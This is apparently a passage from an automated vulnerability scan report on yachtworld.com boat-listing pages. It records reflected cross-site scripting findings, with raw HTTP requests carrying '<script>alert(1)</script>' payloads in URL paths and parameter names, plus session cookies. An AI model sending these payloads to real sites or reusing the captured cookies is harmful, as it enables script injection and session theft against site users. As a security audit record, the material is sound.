savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:43 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 17 Dec 2010 17:08:15 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:43 GMT Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.133. http://www.yachtworld.com/boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJ/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd779"><script>alert(1)</script>1efb3ea8727 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJ/United-States?cd779"><script>alert(1)</script>1efb3ea8727=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:16:33 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 17 Dec 2010 17:08:15 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 21:16:33 GMT Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b050"><script>alert(1)</script>178b29ba6e6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4775"><script>alert(1)</script>35827325622 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b8e7"><script>alert(1)</script>b92c4a459e7 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
3.137. http://www.yachtworld.com/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d5fd"><script>alert(1)</script>4ed4980776e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ece8"><script>alert(1)</script>decc34fa857 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32-Forward-Seating-*low-Hours*-2291213/Norwalk5ece8"><script>alert(1)</script>decc34fa857/CT/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:48 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 01 Dec 2010 21:04:09 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:48 GMT Set-Cookie: VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-219